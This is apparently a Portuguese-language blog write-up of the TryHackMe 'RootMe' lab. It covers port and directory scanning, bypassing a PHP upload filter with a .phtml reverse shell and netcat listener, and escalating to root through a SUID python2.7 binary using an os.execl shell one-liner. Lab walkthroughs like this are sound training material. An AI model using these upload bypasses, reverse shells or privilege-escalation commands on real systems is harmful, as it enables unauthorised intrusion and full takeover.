Tryhackme | Rootme|WhiteUp | Por Kinho0woned

Implante a Máquina / Deploy the Machine

Antes de qualquer exploração, é preciso configurar o ambiente virtual. Isso envolve dois componentes: a máquina atacante (o AttackBox da própria TryHackMe, ou sua própria máquina conectada via VPN OpenVPN) e a máquina de laboratório, que é o alvo da sala e já vem com um IP atribuído assim que você inicia.

Nessa sala, o IP do alvo foi atribuído dinamicamente. No meu caso ficou "IP alvo" , mas o seu vai ser diferente.

Duas formas de se conectar

A primeira opção é usar o AttackBox pelo navegador. Não exige nenhuma configuração local, mas depende bastante da velocidade da conexão remota da THM.

A segunda é usar sua própria máquina via VPN. Você baixa o arquivo .ovpn da TryHackMe e conecta com OpenVPN. Isso costuma ser mais rápido e mais confortável pra quem já tem um ambiente de pentest configurado localmente, com suas próprias ferramentas e atalhos.

Se você nunca configurou essa VPN antes, vale completar a sala OpenVPN da própria TryHackMe primeiro. Ela explica o processo de baixar o arquivo de configuração e conectar.

Verificando a conectividade

Depois de conectado, o teste mais simples é dar um ping no IP do alvo:

bash

ping -c 4 "IP alvo"

ping -c 4 "IP alvo"

Se vier resposta, a conexão está funcionando e já dá pra partir pro reconhecimento.

Reconhecimento / Reconnaissance

Primeiro, vamos levantar informações sobre o alvo. Essa etapa é a base de qualquer pentest: antes de tentar explorar qualquer coisa, você precisa saber o que está rodando na máquina.

Escaneando as portas com Nmap

O primeiro passo é rodar um scan completo pra descobrir quais portas estão abertas:

bash

nmap -p- -T4 "IP alvo"

nmap -p- -T4 "IP alvo"

O parâmetro -p- escaneia todas as 65535 portas (não só as mais comuns), e -T4 acelera o processo sem ficar agressivo demais a ponto de perder pacotes.

Depois de identificar quais portas estão abertas, vale rodar um scan mais detalhado só nelas, pra puxar versão de serviço e scripts padrão de enumeração:

bash

nmap -p 22,80 -sV -sC "IP alvo"

nmap -p 22,80 -sV -sC "IP alvo"

O -sV identifica a versão de cada serviço, e o -sC roda os scripts padrão do Nmap, que já trazem bastante informação extra sem esforço adicional.

O que observar no resultado

No meu scan, encontrei duas portas abertas: uma rodando SSH e outra rodando um servidor Apache. A versão do Apache aparece diretamente na saída do -sV, geralmente no formato Apache httpd X.X.X.

Enumerando diretórios com Gobuster

Com o Apache confirmado, o próximo passo é descobrir quais diretórios existem no servidor web que não estão linkados na página principal. Pra isso, uso o Gobuster com uma wordlist comum:

bash

gobuster dir -u "IP alvo"  -w /usr/share/wordlists/dirb/common.txt

gobuster dir -u "IP alvo"  -w /usr/share/wordlists/dirb/common.txt

• dir indica que queremos enumerar diretórios (não subdomínios ou DNS)
• -u é a URL alvo
• -w aponta pra wordlist usada na força bruta de nomes

Depois de rodar, o Gobuster retorna uma lista de caminhos que existem no servidor, mesmo sem estarem visíveis navegando normalmente pelo site. Entre eles, apareceu um diretório que parecia bem promissor — algo relacionado a um painel administrativo.

Em resumo fazendo encontrado os links vamos analisar

abrindo o ip principal encontramos o site hospedado na porta 80.

Olhando o ip com o diretorio /panel/ encontramos uma pagina muito interessante na aplicação usada para upar arquivos ou imagens no algo.

os outros alvos não importam vamos tentar subir algum tipo de arquivo para ver como a aplicação se comporta.

Upei uma imagem aleatoria e a aplicação aceitou o formato de imagem

possivelmente podemos usar um shell para tentar uma conexão com o alvo… dando uma olhada no material que vem no kali achei um shell em php para testar a aplicação.

tentei shell em php mas tomei bloque, bom podemos tentar algo diferente para dar um bypass na parte de upload.

Olhando o codigo forte da pagina temos a confirmação de que a aplicação não permite php. então vamos pesquisar outra forma de bypass nessa aplicação.

vamos tentar bypassar essa aplicação criando um arquivo phtml com o nano e colocando o seu IP + uma porta para escutar nesse ataque eu vou usar a porta 4444 e tentar subir o shell na aplicação.

com o shell criado em phtml vamos tentar upar o shell na aplicação mas antes vamos abrir um terminal para escutar na porta que configuramos a porta 4444,( ┌──(root㉿kali)-[/home/kali/Desktop] └─# nc -lvpn 4444)

A aplicação aceitou o sheel então conseguimos dar o bypass no Upload usando o formato phtml.

agora vamos abrir uma pagina com o ip algo e colocar o nome no shell na url para subir a conexão com o alvo.

obs: tentei alguns shell para conxão e muitos falharam recomendação de shell: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php.

Conseguimos shell..

Estabilizando o shell

Um shell reverso básico costuma ser bem limitado (sem autocomplete, sem histórico de comandos, quebra fácil com Ctrl+C). Vale estabilizar logo:

bash

python3 -c 'import pty; pty.spawn("/bin/bash")'

python3 -c 'import pty; pty.spawn("/bin/bash")'

para facilitar a navegação dentro do maquina alvo gerando um fluxo menos complexo.

como eu não sei onde esta a flag do user.txt eu dei um google para entrar com forma mas facíl de achar a flag:

find / -iname "user.txt" 2>/dev/null

com esse comando encontramos onde esta a flag vamos dar um cat para ler o conteúdo e responder a perguntas

Resumo das respostas encontradas

Quantas portas estão abertas*

Versão do Apache em execução*.*.**

Serviço rodando na porta 22***

Diretório oculto encontrado/******/

Na task final vamos escalar privilegio na maquina, vamos dar um google para nos a judar com essa informação.

Escalada de Privilégios / Privilege Escalation

Com acesso ao shell como www-data, o objetivo agora é elevar o privilégio até root. O caminho de escalação nessa sala passa por binários com permissão SUID.

O que é SUID

SUID (Set User ID) é um bit de permissão especial que faz um executável rodar sempre com o privilégio do dono do arquivo, independente de quem o executou. Se um binário pertence a root e tem o bit SUID ativado, qualquer usuário do sistema que o executar vai rodá-lo com privilégios de root, mesmo sem ser root.

Isso é útil pra binários legítimos do sistema (como passwd, que precisa escrever em /etc/shadow), mas se um binário incomum ou mal configurado tiver esse bit ativo, ele vira um caminho direto de escalação.

Buscando binários SUID

bash

find / -perm -u=s -type f 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

Esse comando varre todo o sistema de arquivos procurando por arquivos com o bit SUID ativado, descartando erros de permissão pra deixar a saída limpa.

A saída normalmente traz uma lista de binários bem conhecidos do sistema (/usr/bin/passwd, /usr/bin/sudo, /usr/bin/su, etc.) — isso é esperado e normal. O que você está procurando é o binário fora do padrão, algo que não costuma ter SUID em uma instalação Linux comum.

Encontramos o /usr/bin/python2.7

A saída retorna uma lista grande de binários, a maioria deles perfeitamente normais em qualquer instalação Linux (passwd, sudo, chsh, mount, su, etc.). O que interessa aqui é identificar o que foge do padrão:

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/bin/chsh
/usr/bin/python2.7
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/pkexec
...

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/bin/chsh
/usr/bin/python2.7
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/pkexec
...

Entre todos esses, um se destaca: /usr/bin/python2.7. Um interpretador de linguagem com o bit SUID ativado não é algo comum em nenhuma distribuição Linux por padrão — isso normalmente indica uma má configuração intencional ou acidental, e é exatamente esse o vetor de escalação dessa máquina.

Por que isso é explorável

Quando um binário tem SUID, ele roda com o privilégio do dono do arquivo, independente de quem o executou. Como o Python permite executar código arbitrário do sistema operacional através do módulo os, ter esse interpretador com SUID equivale a ter uma porta aberta direto pra root.

O GTFOBins documenta esse binário especificamente, com o payload de escalação pronto.

Explorando o binário

bash

/usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

/usr/bin/python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Explicando cada parte:

• import os importa o módulo que permite interagir diretamente com o sistema operacional
• os.execl("/bin/sh", "sh", "-p") substitui o processo atual (o Python) por um shell /bin/sh
• A flag -p é o detalhe que faz toda a diferença: ela instrui o shell a preservar o UID efetivo herdado do processo pai. Sem essa flag, o shell abriria mão automaticamente do privilégio elevado por segurança, e o resultado seria um shell comum, sem privilégio nenhum

Confirmando o acesso root

bash

whoami
id

whoami
id

Se o retorno for root e uid=0(root), a escalação foi bem-sucedida.

Capturando a flag final

bash

cat /root/root.txt

cat /root/root.txt

RootMe é uma sala simples, mas resume bem o ciclo básico de um pentest web. Enumeração cuidadosa revela mais do que qualquer chute às pressas, um upload mal validado vira porta de entrada, e um binário esquecido com permissão errada vira o caminho até root. A cada máquina, o padrão se repete. É a atenção aos detalhes que separa quem só roda ferramenta de quem realmente entende o que está fazendo.

"Toda escalação de privilégio começa com uma pergunta simples: o que aqui não deveria ter essa permissão?"

Obrigado por acompanhar mais um writeup.

Se esse conteúdo te ajudou de alguma forma, seja aprendendo algo novo ou revisando um conceito, considere deixar seu apoio por aqui. Estou documentando minha jornada em Cibersegurança e Pentest, e cada writeup é parte do processo de transformar teoria em prática.

Vamos nos conectar:

Todas as minhas redes: guns.lol/kinho0woned

LinkedIn: linkedin.com/in/kinho0woned